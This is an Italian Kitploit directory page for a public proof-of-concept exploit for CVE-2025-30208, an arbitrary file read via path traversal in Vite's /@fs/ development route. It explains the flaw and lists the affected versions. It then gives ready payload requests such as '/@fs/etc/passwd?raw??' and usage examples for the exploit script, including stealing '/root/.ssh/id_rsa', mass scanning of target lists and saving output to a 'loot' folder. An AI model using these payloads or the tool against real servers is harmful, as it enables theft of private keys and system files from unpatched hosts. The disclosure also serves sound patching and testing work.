Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-30208 — Una PoC dello script di exploit per la vulnerabilità di Arbitrary File Read di Vite /@fs/ Path Traversal nel transformMiddleware (CVE-2025-30208). | Kitploit
Strumenti/GitHubGitHub/4xura/cve-2025-30208
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHub4xura/cve-2025-30208

CVE-2025-30208

Una PoC dello script di exploit per la vulnerabilità di Arbitrary File Read di Vite /@fs/ Path Traversal nel transformMiddleware (CVE-2025-30208).

Vedi Repository
10521 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-30208

Una PoC dello script di exploit per la vulnerabilità di Lettura Arbitraria di File di Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). L'analisi dettagliata è disponibile in questo post.

Vulnerabile nelle versioni precedenti a:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Panoramica

Vite è un popolare progetto open-source disponibile su Github e sul suo sito ufficiale. Utilizza un prefisso speciale, @fs, per consentire l'accesso diretto a percorsi assoluti di file in modalità sviluppo:

root@kitploit:~
GET /@fs/<percorso/assoluto/del/file>

Ma per prevenire abusi, Vite limita ciò che può essere accesso tramite @fs utilizzando una configurazione come:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

Quindi, in teoria, i file al di fuori della directory consentita (come /etc/passwd) dovrebbero essere bloccati — anche se qualcuno tenta di usare trucchi come ../../../.

Tuttavia, il difetto risiede nel modo in cui Vite analizza e controlla gli URL (tramite il middleware/la funzione transformMiddleware). Il middleware/la funzione utilizza ensureServingAccess(url, ...) per verificare se una richiesta di file tramite /@fs/ è consentita.

Tuttavia, un attaccante potrebbe creare una richiesta con separatori di query trailing nell'URL come:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

Queste forme bypasserebbero i filtri delle espressioni regolari (rawRE, urlRE) e i controlli di sicurezza a causa della stringa di query malformata che corrisponde comunque alla logica della route. Cosa succede:

  1. Il percorso è /@fs/../../../etc/passwd
  2. La stringa di query è raw?? (malformata di proposito)
  3. Internamente, Vite cerca di rimuovere o normalizzare i caratteri trailing come ?, e lo fa prima di verificare se il percorso del file è consentito.
  4. Tuttavia, il controllo non riesce ad analizzare correttamente la stringa di query, quindi la logica della whitelist non viene applicata.

Ciò significa:

  • La richiesta bypassa il controllo server.fs.allow.
  • Vite la tratta come una richiesta valida di accesso al file.
  • E legge e restituisce file arbitrari come /etc/passwd, se esistente.

Utilizzo della PoC

Uso base

root@kitploit:~
python3 poc.py [OPZIONI]

Opzioni

Flag / OpzioneDescrizione
-u, --urlURL del singolo target (es. example.com:5173)
-f, --fileFile con lista di target (un URL per riga)
-p, --pathPercorso filesystem da leggere (default: /etc/passwd)
-b, --bypassStringa di query per bypassare la validazione della route (default: ?raw??)
--proxyURL del proxy (es. http://127.0.0.1:8080)
-o, --outputDirectory di output per salvare i risultati dello sfruttamento (default: results)
-t, --threadsNumero di thread per la modalità batch (default: 10)
-h, --helpMostra il messaggio di aiuto ed esce

Esempi

Sfruttamento su singolo target:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

Singolo target con percorso LFI personalizzato per filtrare il file desiderato:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Sfruttamento batch con più target:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

Query di bypass personalizzata:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Utilizzo di un proxy (es. Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Directory di output personalizzata:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Aumenta il numero di thread in modalità batch:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
Scarica lo strumento